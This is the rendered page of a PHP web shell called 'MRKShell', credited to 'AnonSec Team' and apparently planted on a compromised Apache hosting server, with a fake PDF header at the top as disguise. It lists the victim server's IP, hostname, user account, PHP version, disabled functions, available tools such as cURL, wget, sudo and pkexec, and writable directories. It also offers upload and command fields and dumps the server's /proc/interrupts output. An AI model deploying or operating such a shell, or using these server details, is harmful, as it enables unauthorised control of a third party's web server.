...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.172
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
   0:        133          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    2-edge      timer
   7:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    7-fasteoi   pinctrl_amd
   8:          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 4096-edge      AMD-Vi
  26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 18432-edge      aerdrv
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 20480-edge      aerdrv
  28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 51200-edge      aerdrv
  30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 116736-edge      aerdrv
  31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 133120-edge      aerdrv
  41:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773312-edge      xhci_hcd
  42:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773313-edge      xhci_hcd
  43:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773314-edge      xhci_hcd
  44:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773315-edge      xhci_hcd
  45:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773316-edge      xhci_hcd
  46:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773317-edge      xhci_hcd
  47:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773318-edge      xhci_hcd
  48:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5773319-edge      xhci_hcd
  49:          0          0          0         65         69          0          0         58          0          0         12          6          0          0          0          0  IR-PCI-MSI 1048576-edge      xhci_hcd
  51:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 5769216-edge      psp-1
  54:         12        501       1194       1370       2072       1525       3959       1985        296       1290       1102       1662       3658       4485       1881       2202  IR-PCI-MSI 524288-edge      nvme0q0
  56:         31        427       1248       1314       2014       1442       3886       2079        223       1223       1159       1517       3911       4614       1863       2231  IR-PCI-MSI 4718592-edge      nvme1q0
  57:          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0  IR-PCI-MSI 4194304-edge      enp8s0
  58:   57170565   26166214   57885658   45069135   32863436   25131809   16769867   23985482   35615631   15967509   36082598   34423484    7701839   21499175   24009229   42305363  IR-PCI-MSI 4194305-edge      enp8s0-TxRx-0
  59:   14707818   52766655   48788422   25437768   18540596   28974428   25740057   30476090   23342681   23723333   61704638   40930010   16579301   13413474   23047046   42018048  IR-PCI-MSI 4194306-edge      enp8s0-TxRx-1
  60:   56127891   51527151   39467306   28307402   25829661   28324303   11275588   12400561   88542044   15211510   32731565   22616893    6044176   16611345   18918492   31254314  IR-PCI-MSI 4194307-edge      enp8s0-TxRx-2
  61:    9313483   45362984   42091477   54727807   22535025   23469876   13213313   23316669   27345713   34652647   66371536   45137183   14339719   13585685   30942628   36912572  IR-PCI-MSI 4194308-edge      enp8s0-TxRx-3
  62:  120714189          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524289-edge      nvme0q1
  63:          0  167809364          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524290-edge      nvme0q2
  64:          0          0  146626109          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524291-edge      nvme0q3
  65:          0          0          0  144641612          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524292-edge      nvme0q4
  66:          0          0          0          0  151635373          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524293-edge      nvme0q5
  67:          0          0          0          0          0  200005007          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524294-edge      nvme0q6
  68:          0          0          0          0          0          0  116633290          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524295-edge      nvme0q7
  69:          0          0          0          0          0          0          0  153282495          0          0          0          0          0          0          0          0  IR-PCI-MSI 524296-edge      nvme0q8
  70:          0          0          0          0          0          0          0          0  142026431          0          0          0          0          0          0          0  IR-PCI-MSI 524297-edge      nvme0q9
  71:          0          0          0          0          0          0          0          0          0  140123417          0          0          0          0          0          0  IR-PCI-MSI 524298-edge      nvme0q10
  72:          0          0          0          0          0          0          0          0          0          0  140701538          0          0          0          0          0  IR-PCI-MSI 524299-edge      nvme0q11
  73:          0          0          0          0          0          0          0          0          0          0          0  130021816          0          0          0          0  IR-PCI-MSI 524300-edge      nvme0q12
  74:          0          0          0          0          0          0          0          0          0          0          0          0  130561005          0          0          0  IR-PCI-MSI 524301-edge      nvme0q13
  75:          0          0          0          0          0          0          0          0          0          0          0          0          0  131159576          0          0  IR-PCI-MSI 524302-edge      nvme0q14
  76:          0          0          0          0          0          0          0          0          0          0          0          0          0          0  158910409          0  IR-PCI-MSI 524303-edge      nvme0q15
  77:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  130801596  IR-PCI-MSI 524304-edge      nvme0q16
  78:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524305-edge      nvme0q17
  79:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524306-edge      nvme0q18
  80:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524307-edge      nvme0q19
  81:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524308-edge      nvme0q20
  82:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524309-edge      nvme0q21
  83:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524310-edge      nvme0q22
  84:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524311-edge      nvme0q23
  85:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524312-edge      nvme0q24
  86:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524313-edge      nvme0q25
  87:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524314-edge      nvme0q26
  88:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524315-edge      nvme0q27
  89:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524316-edge      nvme0q28
  90:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524317-edge      nvme0q29
  91:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524318-edge      nvme0q30
  92:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524319-edge      nvme0q31
  93:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 524320-edge      nvme0q32
  94:   35197423          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718593-edge      nvme1q1
  95:          0   38897344          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718594-edge      nvme1q2
  96:          0          0   36384074          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718595-edge      nvme1q3
  97:          0          0          0   36185583          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718596-edge      nvme1q4
  98:          0          0          0          0   40085823          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718597-edge      nvme1q5
  99:          0          0          0          0          0   43316729          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718598-edge      nvme1q6
 100:          0          0          0          0          0          0   30289510          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718599-edge      nvme1q7
 101:          0          0          0          0          0          0          0   35855389          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718600-edge      nvme1q8
 102:          0          0          0          0          0          0          0          0   36295497          0          0          0          0          0          0          0  IR-PCI-MSI 4718601-edge      nvme1q9
 103:          0          0          0          0          0          0          0          0          0   36465192          0          0          0          0          0          0  IR-PCI-MSI 4718602-edge      nvme1q10
 104:          0          0          0          0          0          0          0          0          0          0   36651659          0          0          0          0          0  IR-PCI-MSI 4718603-edge      nvme1q11
 105:          0          0          0          0          0          0          0          0          0          0          0   34899833          0          0          0          0  IR-PCI-MSI 4718604-edge      nvme1q12
 106:          0          0          0          0          0          0          0          0          0          0          0          0   32262067          0          0          0  IR-PCI-MSI 4718605-edge      nvme1q13
 107:          0          0          0          0          0          0          0          0          0          0          0          0          0   34073886          0          0  IR-PCI-MSI 4718606-edge      nvme1q14
 108:          0          0          0          0          0          0          0          0          0          0          0          0          0          0   38969301          0  IR-PCI-MSI 4718607-edge      nvme1q15
 109:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   34205832  IR-PCI-MSI 4718608-edge      nvme1q16
 110:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718609-edge      nvme1q17
 111:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718610-edge      nvme1q18
 112:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718611-edge      nvme1q19
 113:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718612-edge      nvme1q20
 114:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718613-edge      nvme1q21
 115:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718614-edge      nvme1q22
 116:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718615-edge      nvme1q23
 117:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718616-edge      nvme1q24
 118:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718617-edge      nvme1q25
 119:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718618-edge      nvme1q26
 120:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718619-edge      nvme1q27
 121:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718620-edge      nvme1q28
 122:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718621-edge      nvme1q29
 123:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718622-edge      nvme1q30
 124:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718623-edge      nvme1q31
 125:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 4718624-edge      nvme1q32
 126:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1050624-edge      ahci[0000:02:00.1]
 NMI:      88782      52571      52573      56921      97277      56329      45389      55778      77184      57049      60871      61505      54468      52692      75018      59645   Non-maskable interrupts
 LOC: 1233854836 1067251962 1037323261 1079267032 1341696502 1096033492 1040360557 1029324584 1194845052 1073740330 1115608820 1105425217  998684611 1003112956 1196741001 1083557208   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:      88782      52571      52573      56921      97277      56329      45389      55778      77184      57049      60871      61505      54468      52692      75018      59645   Performance monitoring interrupts
 IWI:     122786     153668     152544     126944      78030      92483      54355      69632     133511      68249     180528     103136      32858      57381      81199     135932   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:    8171639    7580901    7480869    7551552    7977152    7204550    6878468    6808507    6492008    6457000    6599091    6391009    6012609    6064446    6970114    6051908   Rescheduling interrupts
 CAL: 1251905942  758471837  506677792  432197483  444473649  481600915  374898953  410175343  392533601  408433429  412147866  405050864  393589400  394499287  441452507  395057021   Function call interrupts
 TLB:    3728941    3742620    3626585    3692066    3886263    3565579    3786360    3469723    3267299    3629274    3835321    3456160    3252627    3433204    4649773    3400553   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:      12293      12293      12293      12293      12293      12293      12293      12293      12293      12293      12293      12293      12293      12293      12293      12293   Machine check polls
 HYP:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hypervisor callback interrupts
 HRE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
 HVS:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team